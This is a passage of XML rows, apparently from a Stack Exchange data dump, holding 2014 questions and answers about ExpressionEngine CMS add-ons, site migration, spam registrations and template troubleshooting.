  <row Id="22201" PostTypeId="1" CreationDate="2014-05-25T11:29:59.880" Score="1" ViewCount="67" Body="&lt;p&gt;Ok, I have a discount and a coupon code that aren't playing well together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;discount&lt;/strong&gt;...&#xA;* Free shipping for all Orders over $100 (fairly common offer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4WcWT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and a &lt;strong&gt;Coupon Code&lt;/strong&gt;...&#xA;* 20% off a specific Product Category&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sdylS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The issue&lt;/strong&gt;&#xA;When you purchase over $100 the shipping is removed (as per the Discount).  Unfortunately, when you add the Coupon Code the shipping is added back in.  I understand they should be able to work together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - What does work together with the Coupon Code is the straight &quot;Percentage Off&quot; discount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any thoughts on how to fix this.&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2014-05-25T11:29:59.880" Title="Cartthrob - Compatibility issue between a discount &amp; coupon code" Tags="|cartthrob|discounts|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22202" PostTypeId="1" AcceptedAnswerId="22208" CreationDate="2014-05-25T18:24:29.947" Score="0" ViewCount="377" Body="&lt;p&gt;First off, I need to start with the fact that I cannot STAND GoDaddy... However, I had an old hosted account from 2002 on there and decided to use it as a dev playground to try some stuff out. I had a local site already function running on WAMP on a Windows machine. When I went to transfer the site to GoDaddy, I have yet, (3 days deep), been able to get it running. Here is what I have done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created the Sub Domain (dev)&lt;/li&gt;&#xA;&lt;li&gt;Created the Database in MySQL&lt;/li&gt;&#xA;&lt;li&gt;Exported the database from my local MySQL&lt;/li&gt;&#xA;&lt;li&gt;Imported the previously exported database into the newly created database&lt;/li&gt;&#xA;&lt;li&gt;Placed the system folder in the webroot (due to GD being persnickity)&lt;/li&gt;&#xA;&lt;li&gt;Placed the rest of the site in the dev folder for the Sub Domain dev.domain.com&lt;/li&gt;&#xA;&lt;li&gt;Modified my index.php and admin.php files to reflect the new locations&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Updated the database file to reflect the new information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['hostname'] = 'dbname.db.acct-number.hostedresource.com';&#xA;$db['expressionengine']['username'] = 'username';&#xA;$db['expressionengine']['password'] = 'password';&#xA;$db['expressionengine']['database'] = 'database';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, I keep getting the following on admin and site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;Site Error: Unable to Load Site Preferences; No Preferences Found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to verify I had the connection strings correct, I copied the dbtest.php file to the dev folder and ran it after changing the following fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hostname   = &quot;dbname.db.acct-number.hostedresource.com&quot;;&#xA;$username   = &quot;username&quot;;&#xA;$password   = &quot;password&quot;;&#xA;$db_name    = &quot;database&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I hit this page, I am given the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A connection was established to your database server&#xA;Your database was selected.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running out of ideas and GoDaddy support has yet to respond to a ticket from 3 days ago. I guess I am lost as to why dbtest hits fine, but the admin and site say a connection could not be established. (This is the message I receive when I turn on the debug to 1.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-05-26T08:34:40.893" Title="Transfer EE site to GoDaddy" Tags="|ee2|database|godaddy|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22204" PostTypeId="2" ParentId="22184" CreationDate="2014-05-26T06:00:09.243" Score="2" Body="&lt;p&gt;You may also consider &lt;a href=&quot;http://devot-ee.com/add-ons/messaging&quot; rel=&quot;nofollow&quot;&gt;Messaging&lt;/a&gt;, which incorporates funtional from Buddies module. These two use EE built-in buddies/blocked database table (yes, this functional already exists in EE, but it does not natively provide tools to manage user relations on front-end)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another (more expensive) alternative is &lt;a href=&quot;http://devot-ee.com/add-ons/friends&quot; rel=&quot;nofollow&quot;&gt;Friends&lt;/a&gt; from Solspace&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-05-26T06:00:09.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22207" PostTypeId="1" AcceptedAnswerId="22209" CreationDate="2014-05-26T08:32:53.953" Score="1" ViewCount="474" Body="&lt;p&gt;Is it possible to add placeholder text (i.e. placeholder=&quot;Your Name&quot;) in a Freeform (not Pro) field? And how to style the submit button?&lt;/p&gt;&#xA;" OwnerUserId="3140" LastActivityDate="2015-12-01T15:31:43.780" Title="Freeform styling elements" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22208" PostTypeId="2" ParentId="22202" CreationDate="2014-05-26T08:34:40.893" Score="2" Body="&lt;p&gt;@BrianMallett was able to resolve this by re-importing his database as it did not properly import to GoDaddy the first time.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-05-26T08:34:40.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22209" PostTypeId="2" ParentId="22207" CreationDate="2014-05-26T08:42:58.390" Score="4" Body="&lt;p&gt;The &lt;code&gt;{exp:freeform:form}&lt;/code&gt; tag is a convenient way to render the form's markup - but because you're dealing with &lt;code&gt;{freeform:field:name}&lt;/code&gt; instead of raw HTML it doesn't give you that much control over the markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there's a trick so that you can add additional attributes to a field in FreeForm. Simply change your field to this &lt;code&gt;{freeform:field:name attr:placeholder=&quot;Your name&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To style your submit button you should use CSS. You can easily target it by adding &lt;code&gt;form:class=&quot;submit-form&quot;&lt;/code&gt; to your opening &lt;code&gt;{exp:freeform:form}&lt;/code&gt; form and targeting the submit button using &lt;code&gt;.submit-form input[type=&quot;submit&quot;] {}&lt;/code&gt; in CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://stackoverflow.com/questions/17042201/how-to-style-input-and-submit-button-with-css&quot;&gt;https://stackoverflow.com/questions/17042201/how-to-style-input-and-submit-button-with-css&lt;/a&gt; for more help with the styling.&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-05-26T08:42:58.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22210" PostTypeId="1" CreationDate="2014-05-26T09:41:23.807" Score="6" ViewCount="366" Body="&lt;p&gt;I'm having a nightmare with spam registrations! Can't seem to stop them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have changed the Profile Trigger Word to something completely random, and use Freemember to register members. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have added the following Extensions: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Accessible Captcha&lt;/li&gt;&#xA;&lt;li&gt;Hon-ee Pot Captcha&lt;/li&gt;&#xA;&lt;li&gt;VZ Bad Behavior&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All work for me when I answer the wrong question, or enter the honeypot field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I emailed one of the spammers email addresses (which are just random character emails at aol, gmail, and others), and got a bounce back saying it did not exist. I thought human spammers may at least use working emails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why spam registrations can still happen? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-06-03T16:33:10.517" Title="Can't stop spam registrations, using Freemember" Tags="|freemember|registration|spam|captcha|" AnswerCount="6" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="22211" PostTypeId="1" AcceptedAnswerId="22212" CreationDate="2014-05-26T13:54:43.283" Score="1" ViewCount="169" Body="&lt;p&gt;I'm getting the following error when upgrading from MX Google Maps 1.4 -&gt; 1.5.3 in EE 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to undefined method Cp::set_variable() in /system/expressionengine/third_party/mx_google_map/mcp.mx_google_map.php on line 191&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if there's a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="2674" LastActivityDate="2014-05-26T14:55:51.800" Title="MX Google Maps 2.8.1 compatibility" Tags="|mx-google-map|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22212" PostTypeId="2" ParentId="22211" CreationDate="2014-05-26T14:47:17.243" Score="4" Body="&lt;p&gt;I made quick update - v. &lt;a href=&quot;https://github.com/MaxLazar/mx-google-map-v1&quot; rel=&quot;nofollow&quot;&gt;1.5.3.140526&lt;/a&gt; wait for you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;update: first push was with mistake. download it now&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-05-26T14:55:51.800" LastActivityDate="2014-05-26T14:55:51.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22213" PostTypeId="2" ParentId="22210" CreationDate="2014-05-26T15:16:45.830" Score="4" Body="&lt;p&gt;Spam is an uphill battle, any solution made by man to stop it can be broken by man to abuse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unfortunate truth is that traditional spam solutions are very short term and don't scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have noticed, though, is that on sites where similar things happen quite often the registrations stem from a couple of the same IPs and blocking them from the server cuts off the head (for the time being).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look through some of the recent registrations and see if the IPs are shared. If they are add this to your &lt;code&gt;.htaccess&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;order allow,deny&#xA;deny from 192.168.0.1&#xA;deny from 192.168.0.2&#xA;deny from 192.168.0.3&#xA;[...etc...]&#xA;allow from all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and those IPs will be unable to even access the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, consider using a service such as &lt;a href=&quot;http://www.cloudflare.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.cloudflare.com/&lt;/a&gt; - you route your site via their service (there are free and paid plans) and you can benefit from CDN and optimisation plus anti-spam. Basically if they notice spammers on one Cloudflare powered site, they can be blocked across the entire network. Many large sites use it, and is a proactive and communal way to try to catch spammers out.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-05-26T15:16:45.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22214" PostTypeId="2" ParentId="21947" CreationDate="2014-05-26T17:30:43.930" Score="0" Body="&lt;p&gt;Ran into the issue with Assets 2.3.2 and EE 2.8.1.  After giving the cache directory proper permissions and making sure the proper domain name was being requested, the issue remained.  I finally solved it by removing a line of code from the Assets module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; mpc.assets.php&lt;br/&gt;&#xA;&lt;strong&gt;Line:&lt;/strong&gt; 179&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #header_remove('Pragma');&#xA;    readfile($thumbnail_location);&#xA;    die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure why header_remove() was causing an issue, but I have thumbnails now.&lt;/p&gt;&#xA;" OwnerUserId="3141" LastActivityDate="2014-05-26T17:30:43.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22215" PostTypeId="2" ParentId="20529" CreationDate="2014-05-26T20:43:03.877" Score="1" Body="&lt;p&gt;After some more bug hunting, I think I've tracked this down - and the scenario would apply both sites we've seen this behaviour on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured Freeform would be using a wordwrap value from an existing CI or EE class, and sure enough in codeigniter/system/libraries/email.php, there is the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Set the character limit&#xA;    // Don't allow over 76, as that will make servers and MUAs barf&#xA;    // all over quoted-printable data&#xA;    if ($charlim == '' OR $charlim &amp;gt; '76')&#xA;    {&#xA;        $charlim = '76';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Guess what, the random characters were popping in at this cut off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in this file, a few lines further down I came across the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        // Loop through each character in the line to add soft-wrap&#xA;        // characters at the end of a line &quot; =\r\n&quot; and add the newly&#xA;        // processed line(s) to the output (see comment on $crlf class property)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then came the light bulb moment! We were using SMTP in the EE mail configuration, and to get this working, we'd had to add the following to the config.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['email_newline'] = &quot;\r\n&quot;;&#xA;$config['email_crlf'] = &quot;\r\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that seems to explain the '=' characters appearing. Obviously the quick fix is to the change the SMTP server, or use a different email config option in EE :-)&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-05-26T20:43:03.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22216" PostTypeId="1" CreationDate="2014-05-26T23:27:06.640" Score="0" ViewCount="352" Body="&lt;p&gt;Just starting to setup a new project, and using ExpressionEngine v2.8.x with its new Template Layouts functions. Problem is that if I have the CE Cache tags in the setup, and have set to dummy while I'm developing, it will break the Template {layout} tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the template code with CE Cache that breaks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;_layouts/base&quot; title=&quot;The Title&quot;}&#xA;&#xA;{exp:ce_cache:it id=&quot;page-home&quot; tag=&quot;home&quot; seconds=&quot;14400&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;site_content&quot; limit=&quot;1&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {cf_content_body}&#xA;&#xA;    {layout:set name=&quot;page_title&quot;}&#xA;        {title}&#xA;    {/layout:set}&#xA;    {layout:set name=&quot;page_description&quot;}&#xA;        {cf_content_summary}&#xA;    {/layout:set}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the same code without CE Cache that does work:&#xA;    {layout=&quot;_layouts/base&quot; title=&quot;The Title&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;site_content&quot; limit=&quot;1&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {cf_content_body}&#xA;&#xA;    {layout:set name=&quot;page_title&quot;}&#xA;        {title}&#xA;    {/layout:set}&#xA;    {layout:set name=&quot;page_description&quot;}&#xA;        {cf_content_summary}&#xA;    {/layout:set}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone has any kind of solution, I'm up for it or at the least some acknowledgement that it's a known problem and it's being worked on in the devotee thread that starting back in March 2014 (&lt;a href=&quot;http://devot-ee.com/add-ons/support/ce-cache/viewthread/12978&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/ce-cache/viewthread/12978&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Brendan&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2015-12-11T08:56:41.777" Title="CE Cache not working with ExpressionEngine v2.8 Template Layouts - any workarounds?" Tags="|ce-cache|template-layouts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22217" PostTypeId="2" ParentId="22193" CreationDate="2014-05-27T06:22:05.683" Score="0" Body="&lt;p&gt;Unfortunately this isn't possible. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-05-27T06:22:05.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22218" PostTypeId="2" ParentId="22199" CreationDate="2014-05-27T06:26:10.097" Score="1" Body="&lt;p&gt;Seems like a possible bug. Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In mod.user.php, on line 5955 (User 3.4.6), change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$good = ee()-&amp;gt;input-&amp;gt;get_post($this-&amp;gt;sc-&amp;gt;csrf_hidden_name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$good = ee()-&amp;gt;input-&amp;gt;get_post($this-&amp;gt;sc-&amp;gt;csrf_name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="607" LastActivityDate="2014-05-27T06:26:10.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22219" PostTypeId="1" CreationDate="2014-05-27T06:37:03.743" Score="0" ViewCount="87" Body="&lt;p&gt;When We have Load shine pdf Generate page by ajax load that time pdf generate but it blank, but without ajax it worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to generate pdf in Background process so that call template on ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if you have any idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Piyush&lt;/p&gt;&#xA;" OwnerUserId="3110" LastActivityDate="2014-05-27T06:37:03.743" Title="Shine PDF generate blank when load generate shine pdf template on ajax" Tags="|shine-pdf|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22221" PostTypeId="1" CreationDate="2014-05-27T14:02:51.737" Score="0" ViewCount="162" Body="&lt;p&gt;when We have add code like this in email form template then php code not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;code like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:email_from_template to=&quot;mailid&quot; from=&quot;mailid&quot;  echo=&quot;off&quot; mailtype=&quot;html&quot; }&#xA;     //php code $test= &quot;hi&quot;; &#xA;&#xA;    {exp:channel:entries channel=&quot;channel&quot; dynamic=&quot;no&quot; disable=&quot;pagination|member_data|categories&quot; }&#xA;&#xA;         //php code  echo $test; &#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA; {/exp:email_form_template}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above code echo test not display , We have already set allow php =&quot;yes&quot; parse order=&quot;output&quot; for template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know any idea for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Piyush&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="55" LastEditDate="2014-05-28T12:37:05.000" LastActivityDate="2015-11-10T23:44:28.367" Title="Email From Template addons php tag not working" Tags="|email|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22222" PostTypeId="2" ParentId="21673" CreationDate="2014-05-27T14:29:25.767" Score="2" Body="&lt;p&gt;Open up ft.assets.php file (located at third_party/assets/ft.assets.php), find the method &quot;replace_element_tag&quot; and add this as the first line in that method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'assets/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes EE would lose that package path and I'm not entirely sure why.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-05-27T14:29:25.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22224" PostTypeId="1" AcceptedAnswerId="22230" CreationDate="2014-05-27T15:03:00.063" Score="1" ViewCount="232" Body="&lt;p&gt;I'm getting an error when I try to add a wygwam element to my content elements field - but it only happens in my local dev environment. It works fine on our live site. Also, a stand-alone WYGWAM field will not initialize either, so I don't think the issue is with CE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP 5.3.2&#xA;EE 2.8.1&#xA;Wygwam 3.2.2&#xA;Content Elements 1.6.6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Cannot read property 'init' of undefined&#xA;/themes/third_party/content_elements/elements/wysiwyg/ckeditor/ckeditor.js:24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody seen this before? Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="938" LastActivityDate="2014-05-27T18:30:38.423" Title="WYGWAM Field Won't Initialize" Tags="|wygwam|content-elements|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22225" PostTypeId="1" CreationDate="2014-05-27T15:36:56.290" Score="0" ViewCount="267" Body="&lt;p&gt;I need put in my CP a upload image field.&#xA;I would like know if have a possibility that integration of use in my module the default upload file of EE or if I have that do the upload file manually.&lt;/p&gt;&#xA;" OwnerUserId="3061" LastActivityDate="2014-05-27T15:57:31.910" Title="Upload file form in CP - create module" Tags="|control-panel|file-uploads|module|image|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22226" PostTypeId="2" ParentId="22225" CreationDate="2014-05-27T15:57:31.910" Score="2" Body="&lt;p&gt;You can use the api to add a single upload field to your module or fieldtype. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/file_field.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/file_field.html&lt;/a&gt; . if you want to include multiple image uploads in the same field, then you will need to do something else.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-05-27T15:57:31.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22227" PostTypeId="2" ParentId="22224" CreationDate="2014-05-27T16:15:40.370" Score="1" Body="&lt;p&gt;First, try deleting and re-adding the entire Wygwam folders as there may be a corrupt or missing file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, update to the latest Wygwam (3.3.1 now).&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-05-27T16:15:40.370" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22228" PostTypeId="1" CreationDate="2014-05-27T16:39:23.980" Score="1" ViewCount="175" Body="&lt;p&gt;I've been working on solving this problem for a while, and hoping someone can help me come up with a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I'm doing is creating an EE Grid field with a title, date, and description. The way I want Postmaster to trigger is based on the Grid date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a date is 5 days in the future I want a reminder email to be sent. I can't seem to figure out how to do this? Currently I have the Grid field name &quot;calendar&quot;, and for testing I put this in the &quot;&lt;strong&gt;Post date specific&lt;/strong&gt;&quot; field of the Postmaster Parcel setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{calendar:date format=&quot;%m-%d-%Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, nothing happens if I add an row with today's date? If I change the trigger to &quot;Edit&quot; an email gets sent, but it also gets sent every time one of the rows is edited or a new row added to the calendar Grid field? Not what I want, I only want it to trigger 5 days prior to the date entered? How can I accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it should be possible with Postmaster, but can't seem to figure out how to do it??&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2017-03-20T04:39:31.523" Title="Objective HTML Postmaster – send by date, not add/edit entry" Tags="|postmaster|objective-html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22229" PostTypeId="1" CreationDate="2014-05-27T16:58:50.660" Score="2" ViewCount="490" Body="&lt;p&gt;We've just set up a new server with the identical set up of a previous server, with one small difference: php 5.4 instead of php 5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an EE install, version 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to the site I get the white screen of death, and &lt;code&gt;debug = 1&lt;/code&gt; doesn't give me anything of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried digging through the execution path, adding an &lt;code&gt;echo('test')&lt;/code&gt; and a &lt;code&gt;die()&lt;/code&gt; after every line and the first thing that causes an issue is in &lt;code&gt;system/codeigniter/system/CodeIgniter.php&lt;/code&gt; on line 88:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_config(array('subclass_prefix' =&amp;gt; $assign_to_config['subclass_prefix']));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I comment this out, the next hiccup is at line 106:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$BM =&amp;amp; load_class('Benchmark', 'core');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my research, it appears that even 2.6.1 should be fine on php 5.4, so does anyone have any ideas on a) how to fix it without downgrading to 5.3 and b) how to debug it properly to find out what might be causing the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2022-03-23T01:02:25.177" Title="New server, EE migration, PHP 5.4 issue" Tags="|php|white-screen-of-death|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22230" PostTypeId="2" ParentId="22224" CreationDate="2014-05-27T18:30:38.423" Score="2" Body="&lt;p&gt;If I recall correctly, then it was not possible to have CE RTE and Wygwam on the same page due to conflicting CKEditor instances.. If you switch out all your CE RTE fields for CE Wygwam fields, it should work again.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2014-05-27T18:30:38.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22232" PostTypeId="1" CreationDate="2014-05-27T20:32:12.480" Score="0" ViewCount="344" Body="&lt;p&gt;I am trying to set a group of stash variables per an entry and use them in the rest of the site build but I can't 'get' the stash variables from outside the initial channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like below in which if I place the  tags inside the closing channel entry tag they will appear, but as they are will not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- STASH SET --}&#xA;{exp:channel:entries&#xA;    channel=&quot;site_settings&quot; &#xA;    limit=&quot;1&quot; &#xA;    disable=&quot;categories|member_data|pagination&quot;&#xA;}&#xA;    {exp:stash:logo}{company_logo}{/exp:stash:logo}&#xA;    {exp:stash:style}{site_appearance_style}{/exp:stash:style}&#xA;    {exp:stash:color}{site_color_theme}{/exp:stash:color}&#xA;    {exp:stash:phone}{contact_phone_number}{/exp:stash:phone}&#xA;    {!-- GRID FIELDS --}&#xA;    {contact_e_mail_options}&#xA;        {exp:stash:text}{contact_e_mail_options:display_text}{/exp:stash:text}&#xA;        {exp:stash:email}{contact_e_mail_options:e_mail_address}{/exp:stash:email}&#xA;        {exp:stash:subject}{contact_e_mail_options:e_mail_subject}{/exp:stash:subject}&#xA;    {/contact_e_mail_options}&#xA;    {social_media_accounts}&#xA;        {exp:stash:facebook}{social_media_accounts:facebook}{/exp:stash:facebook}&#xA;        {exp:stash:twitter}{social_media_accounts:twitter}{/exp:stash:twitter}&#xA;        {exp:stash:linkedin}{social_media_accounts:linkedin}{/exp:stash:linkedin}&#xA;    {/social_media_accounts}&#xA;    {physical_address}&#xA;        {exp:stash:street}{physical_address:street}{/exp:stash:street}&#xA;        {exp:stash:city}{physical_address:city}{/exp:stash:city}&#xA;        {exp:stash:state}{physical_address:state}{/exp:stash:state}&#xA;        {exp:stash:country}{physical_address:country}{/exp:stash:country}&#xA;        {exp:stash:zip}{physical_address:postal_code}{/exp:stash:zip}&#xA;    